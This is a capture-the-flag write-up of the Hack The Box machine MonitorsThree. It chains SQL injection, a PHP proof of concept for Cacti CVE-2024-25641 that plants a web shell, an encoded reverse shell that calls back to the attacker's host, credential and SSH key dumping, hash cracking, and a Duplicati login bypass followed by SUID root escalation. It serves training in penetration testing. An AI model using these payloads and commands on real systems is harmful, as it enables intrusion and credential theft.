Description
MonitorsThree is a medium Hack The Box machine that features:
- SQL Injection in a web application to obtain user credentials
- Authenticated Remote Command Execution in Cacti web application
- Hash Cracking to obtain an user’s password, reused for a Linux user
- Local Port Forwarding to expose an internal Duplicati web application
- Privilege Escalation using Duplicati backup application having access to all the filesystem
Footprinting
First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.129.216.196.
$ ping -c 3 10.129.216.196
PING 10.129.216.196 (10.129.216.196) 56(84) bytes of data.
64 bytes from 10.129.216.196: icmp_seq=1 ttl=63 time=43.9 ms
64 bytes from 10.129.216.196: icmp_seq=2 ttl=63 time=43.6 ms
64 bytes from 10.129.216.196: icmp_seq=3 ttl=63 time=43.4 ms
--- 10.129.216.196 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 43.394/43.627/43.939/0.229 ms
The machine is active and with the TTL that equals 63 (64 minus 1 jump) we can assure that it is an Unix machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.
$ sudo nmap 10.129.216.196 -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.216.196
Host is up (0.044s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8084/tcp filtered websnp
Nmap done: 1 IP address (1 host up) scanned in 10.36 seconds
We get two open ports, 22 and 80, and a filtered one, 8084.
Enumeration
Then we do a more advanced scan, with service version and scripts.
$ nmap -sV -sC -p22,80 -oN nmap_scan_ports 10.129.216.196
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.216.196
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA)
|_ 256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://monitorsthree.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.03 seconds
We get two services: one Secure Shell (SSH) and one Hypertext Transfer Protocol (HTTP) running on a Linux Ubuntu. As we don’t have feasible credentials for the SSH service we move to the HTTP service. We observe that the service is hosting a website, http://monitorsthree.htb, so we add it to our /etc/hosts local file.
$ echo "10.129.216.196 monitorsthree.htb" | sudo tee -a /etc/hosts
We have access to the MonitorsThree business application. We have access to a login panel:
We can either login using an username and a password, and recover a forgotten password.
If we enter the admin' value in the Password Recovery form, we obtain a SQL error, this means the existence of a SQL injetion.
We can use the sqlmap tool to exploit this vulnerability.
Exploitation (1)
Firstly we can list the current used database.
$ sqlmap -u 'http://monitorsthree.htb/forgot_password.php' --data 'username=admin' --current-db
...
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 340 HTTP(s) requests:
---
Parameter: username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username=admin' AND 4091=4091 AND 'NUYK'='NUYK
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: username=admin' AND (SELECT 7727 FROM(SELECT COUNT(*),CONCAT(0x717a6a6271,(SELECT (ELT(7727=7727,1))),0x717a6a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'vAKG'='vAKG
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: username=admin';SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 5566 FROM (SELECT(SLEEP(5)))VNnP) AND 'MNhY'='MNhY
---
...
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0, PHP
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
...
current database: 'monitorsthree_db'
...
Then we list the tables of the monitorsthree_db.
$ sqlmap -u 'http://monitorsthree.htb/forgot_password.php' --data 'username=admin' -D monitorsthree_db --tables
...
Database: monitorsthree_db
[6 tables]
+---------------+
| changelog |
| customers |
| invoice_tasks |
| invoices |
| tasks |
| users |
+---------------+
...
Then we can retrieve the columns of the users table.
$ sqlmap -u 'http://monitorsthree.htb/forgot_password.php' --data 'username=admin' -D monitorsthree_db -T users --dump
...
Database: monitorsthree_db
Table: users
[4 entries]
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
| id | dob | email | name | salary | password | username | position | start_date |
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
| 2 | 1978-04-25 | admin@monitorsthree.htb | Marcus Higgins | 320800.00 | 31a181c8372e3afc59dab863430610e8 | admin | Super User | 2021-01-12 |
| 5 | 1985-02-15 | mwatson@monitorsthree.htb | Michael Watson | 75000.00 | c585d01f2eb3e6e1073e92023088a3dd | mwatson | Website Administrator | 2021-05-10 |
| 6 | 1990-07-30 | janderson@monitorsthree.htb | Jennifer Anderson | 68000.00 | 1e68b6eb86b45f6d92f8f292428f77ac | janderson | Network Engineer | 2021-06-20 |
| 7 | 1982-11-23 | dthompson@monitorsthree.htb | David Thompson | 83000.00 | 633b683cc128fe244b00f176c8a950f5 | dthompson | Database Manager | 2022-09-15 |
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
...
We have usernames and password hashes, so we can crack them. The hashes format is MD5.
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 web_hashes
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
greencacti2001 (admin)
1g 0:00:00:00 DONE 1.666g/s 23905Kp/s 23905Kc/s 84692KC/s fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
We find the password for the admin user, greencacti2001.
Enumeration (2)
We can login into the web page to have access to a dashboard.
We cannot find any vulnerability in the page, so we continue enumerating the website, for example, searching subdomains.
$ gobuster vhost -u monitorsthree.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -o vhost_enumeration -r
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://monitorsthree.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: cacti.monitorsthree.htb Status: 200 [Size: 14320]
We find one, cacti.monitorsthree.htb, so we add it to our hosts file.
$ echo "10.129.216.196 cacti.monitorsthree.htb" | sudo tee -a /etc/hosts
We find the Cacti version 1.2.26 web application.
We can login using the previous credentials and admin user.
Exploitation (2)
This version of Cacti is vulnerable to a Remote Command Execution vulnerability when importing packages, CVE-2024-25641. We have a proof of concept of the vulnerability in the security advisor page. We can modify the PoC to execute commands in the remote system. We are going to save the PoC as the import.php file:
<?php
$xmldata = "<xml>
<files>
<file>
<name>resource/test.php</name>
<data>%s</data>
<filesignature>%s</filesignature>
</file>
</files>
<publickey>%s</publickey>
<signature></signature>
</xml>";
$filedata = '<?php if(isset($_ REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_ REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; } ?>';
$keypair = openssl_pkey_new();
$public_key = openssl_pkey_get_details($keypair)["key"];
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("test.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat test.xml | gzip -9 > test.xml.gz; rm test.xml");
?>
Then we run the script with the php application to generate the test.xml.gz.
$ php import.php
With the generated file we move to the Cacti Administration Console. To import the file, we need to access to the Import/Export > Import Packages left menu. Then we can upload the file in the Local Package Import File option. After that we can mark the test.php file in the Import Package Filenames section. We can finally click the Import button.
We can access to the uploaded file in the /cacti/resource/test.php file.
$ curl 'http://cacti.monitorsthree.htb/cacti/resource/test.php?cmd=whoami'
<pre>www-data
</pre>
We can start the listening port in 1234 port.
$ nc -nvlp 1234
Then we run the command to spawn the reverse shell, we need to URL-encode it and send it as the cmd parameter.
$ curl 'http://cacti.monitorsthree.htb/cacti/resource/test.php?cmd=echo%20%22YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4yMS8xMjM0IDA%2BJjE%3D%22%20%7C%20base64%20%2Dd%20%7C%20bash'
We get a shell as the www-data user. We can upgrade the shell.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.21] from (UNKNOWN) [10.129.216.196] 57970
bash: cannot set terminal process group (1185): Inappropriate ioctl for device
bash: no job control in this shell
www-data@monitorsthree:~/html/cacti/resource$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Post-Exploitation
We find another console users in the /etc/passwd file, root and marcus.
www-data@monitorsthree:~/html/cacti/resource$ grep -rn 'bash' /etc/passwd
1:root:x:0:0:root:/root:/bin/bash
33:marcus:x:1000:1000:Marcus:/home/marcus:/bin/bash
The credentials to access to the MySQL database by Cacti are located in the /var/www/html/cacti/include/config.php file.
www-data@monitorsthree:~/html/cacti/resource$ cat /var/www/html/cacti/include/config.php
...
$database_type = 'mysql';
$database_default = 'cacti';
$database_hostname = 'localhost';
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port = '3306';
$database_retries = 5;
$database_ssl = false;
$database_ssl_key = '';
$database_ssl_cert = '';
$database_ssl_ca = '';
$database_persist = false;
...
We can use the cacti database in the local server 127.0.0.1 and 3306 port with the cactiuser username and the cactiuser password. We can SELECT the username and password from the user_auth table.
www-data@monitorsthree:~/html/cacti/resource$ mysql -h 127.0.0.1 -u cactiuser -D cacti --password=cactiuser
...
MariaDB [cacti]> select username,password from user_auth;
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G |
| guest | $2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu |
| marcus | $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK |
+----------+--------------------------------------------------------------+
3 rows in set (0.000 sec)
We obtain the password hashes of the users, we can crack them.
$ john --wordlist=/usr/share/wordlists/rockyou.txt cacti_hashes
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
12345678910 (marcus)
We obtain the Cacti password of the marcus user, 12345678910. The password is reused for the Linux marcus user so we can login.
www-data@monitorsthree:~/html/cacti/resource$ su marcus
Password:
marcus@monitorsthree:/var/www/html/cacti/resource$ id
uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)
We find the private key of the marcus user to login using SSH in the /home/marcus/.ssh/id_rsa.
marcus@monitorsthree:~$ cat /home/marcus/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAtnRPdVSiZQb9HZnJlozKj7mtHg/vVbR1nO50+ZNRIBj51SOy
...
F0CsuGrWzew8ZVCUbx4pzkCm7n6FMZ2PW8ucHP4ZXXyUmj7PFpxNxvs=
-----END RSA PRIVATE KEY-----
We move the private key to our system and we set the appropriate permissions.
$ nano marcus_ssh_key
$ chmod 600 marcus_ssh_key
$ ssh -i marcus_ssh_key marcus@monitorsthree.htb
By enumerating the open ports in the system, we find the local 8200 port.
marcus@monitorsthree:~$ ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8200 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 500 0.0.0.0:8084 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:34229 0.0.0.0:*
tcp LISTEN 0 70 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 511 [::]:80 [::]:*
We can use the Local Port Forwarding technique over SSH to map the local 8200 port of the machine to our local 4444 port.
$ ssh -i marcus_ssh_key -N -L 127.0.0.1:4444:127.0.0.1:8200 marcus@monitorsthree.htb
We find an instance of Duplicati application, used to create backups of the filesystem, but it requires a password to access.
Enumerating the system we find the /opt/duplicati directory and its files. We also find the crontab file ran as root user to create a backup. It is running the client.py script from /root/scripts/duplicati-client folder.
marcus@monitorsthree:~$ find / -name *duplicati* 2> /dev/null
...
/opt/duplicati
/etc/cron.d/duplicati
marcus@monitorsthree:~$ find /opt/duplicati
/opt/duplicati
/opt/duplicati/config
/opt/duplicati/config/Duplicati-server.sqlite
/opt/duplicati/config/CTADPNHLTC.sqlite
/opt/duplicati/config/.config
/opt/duplicati/config/.config/.mono
/opt/duplicati/config/.config/.mono/certs
/opt/duplicati/config/.config/.mono/certs/Trust
/opt/duplicati/config/control_dir_v2
/opt/duplicati/config/control_dir_v2/lock_v2
marcus@monitorsthree:~$ cat /etc/cron.d/duplicati
*/10 * * * * root cd ~/scripts/duplicati-client && python3 client.py
The database file containing the configuration of the Duplicati application is locate in the /opt/duplicati/config/Duplicati-server.sqlite file.
$ scp -i marcus_ssh_key marcus@monitorsthree.htb:/opt/duplicati/config/Duplicati-server.sqlite Duplicati-server.sqlite
We find the encrypted server password in the server-passphare column with Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho= value and the server password salt in the server-passphare-salt column with xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I= value.
$ sqlite3 Duplicati-server.sqlite
SQLite version 3.44.2 2023-11-24 11:41:44
Enter ".help" for usage hints.
sqlite> .tables
Backup Log Option TempFile
ErrorLog Metadata Schedule UIStorage
Filter Notification Source Version
sqlite> select * from Option;
...
-2||server-passphrase|Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
-2||server-passphrase-salt|xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=
...
With the own of this data we can login in the web application as outlined in the STarX post. We need a web proxy such as Burp to do this task. Firstly we are going to enable the Interception in the proxy, then returning to the browser, we are going to enter a random password. Then we will intercept the POST /login.cgi request to get the value of the nonce. In this case we get the W9RFKFu2k0K0iSQN3DQkB/T4SvCGddz/I3jrjLeLnQo= nonce.
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate, max-age=0
Content-Length: 140
Content-Type: application/json
Server: Tiny WebServer
Connection: close
Set-Cookie: xsrf-token=8c%2BTr647tjgXU268AX9HXmexT5yhmumKDY8XLZbELzo%3D;path=/;
Set-Cookie: session-nonce=W9RFKFu2k0K0iSQN3DQkB%2FT4SvCGddz%2FI3jrjLeLnQo%3D;path=/;
{
"Status": "OK",
"Nonce": "W9RFKFu2k0K0iSQN3DQkB/T4SvCGddz/I3jrjLeLnQo=",
"Salt": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I="
}
We forward this request. Another request will be intercepted to send the encrypted password. With this JavaScript code that can be ran in the browser’s developer tools and the Duplicati page we can obtain the encrypted password to send. As saltedpwd variable we will use the hexadecimal value of the server-passphare column from the Base64 value. We can use CyberChef to convert the value. We get the 59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a value.
var saltedpwd = "59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a";
var nonce = "W9RFKFu2k0K0iSQN3DQkB/T4SvCGddz/I3jrjLeLnQo=";
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse(nonce) + saltedpwd)).toString(CryptoJS.enc.Base64);
console.log(noncedpwd);
After running the JavaScript script we obtain the W9fYuqX9u3FROQOEly8pkGVgotoB1P+KJjErgloRdNU= password to send. We need to send it URL-encoded.
POST /login.cgi HTTP/1.1
Host: 127.0.0.1:4444
Content-Length: 57
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://127.0.0.1:4444
Referer: http://127.0.0.1:4444/login.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en,es-ES;q=0.9,es;q=0.8
Cookie: default-theme=ngax; xsrf-token=8c%2BTr647tjgXU268AX9HXmexT5yhmumKDY8XLZbELzo%3D; session-nonce=W9RFKFu2k0K0iSQN3DQkB%2FT4SvCGddz%2FI3jrjLeLnQo%3D
Connection: close
password=W9fYuqX9u3FROQOEly8pkGVgotoB1P%2bKJjErgloRdNU%3d
After forwarding the requests we can stop with the interception and we will be logged in the application.
We find the previously created Cacti 1.2.26 Backup. We can create a new backup using the Add backup option. Then we can use the Configure a new backup option. In the Destination step we can read the folders present in the system.
We find folders that are not present in the filesystem, such as app and backups.
marcus@monitorsthree:~$ ls /
bin boot dev etc home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin srv sys tmp usr var
This could mean that we are inside a container. Among this extra folders we find the source one, that contains another filesystem.
Inside the root folder of this filesystem we find the duplicati-client folder, as we saw previously in the crontab file, this folder is located in our filesystem. This means that the Duplicati application have access to all files in the filesystem and it is running as root user. Duplicati have an option to run a script before running the backup. We are going to start by creating a Bash script in /tmp/script.sh that will create a SUID Bash file in the /source/tmp/ directory (in the container). And we will create two directories for the backup.
marcus@monitorsthree:~$ echo -e '#!/bin/bash\ncp /source/bin/bash /source/tmp/root-bash; chmod +s /source/tmp/root-bash' > /tmp/script.sh
marcus@monitorsthree:~$ mkdir /tmp/backup /tmp/files
We will start the backup by using the Add backup menu and the Configure a new backup option.
Then we enter a random name for the backup and no encryption:
After that we select the /source/tmp/backup folder as the destination for the backup.
As the source folder we will use /source/tmp/files.
We will disable the scheduled backups.
In the Options step we will add the run-script-before option with the /source/tmp/script.sh script.
When the configuration is created we get redirected to the Home page and we will be able to start the backup by clicking in the Run now button.
Returning to the shell, we can find and run the Bash SUID binary to obtain the root shell.
marcus@monitorsthree:~$ ls /tmp/root-bash
/tmp/root-bash
marcus@monitorsthree:~$ /tmp/root-bash -p
root-bash-5.1# id
uid=1000(marcus) gid=1000(marcus) euid=0(root) egid=0(root) groups=0(root),1000(marcus)
Flags
In the root shell we can obtain the user flag and the system flag.
root-bash-5.1# cat /home/marcus/user.txt
<REDACTED>
root-bash-5.1# cat /root/root.txt
<REDACTED>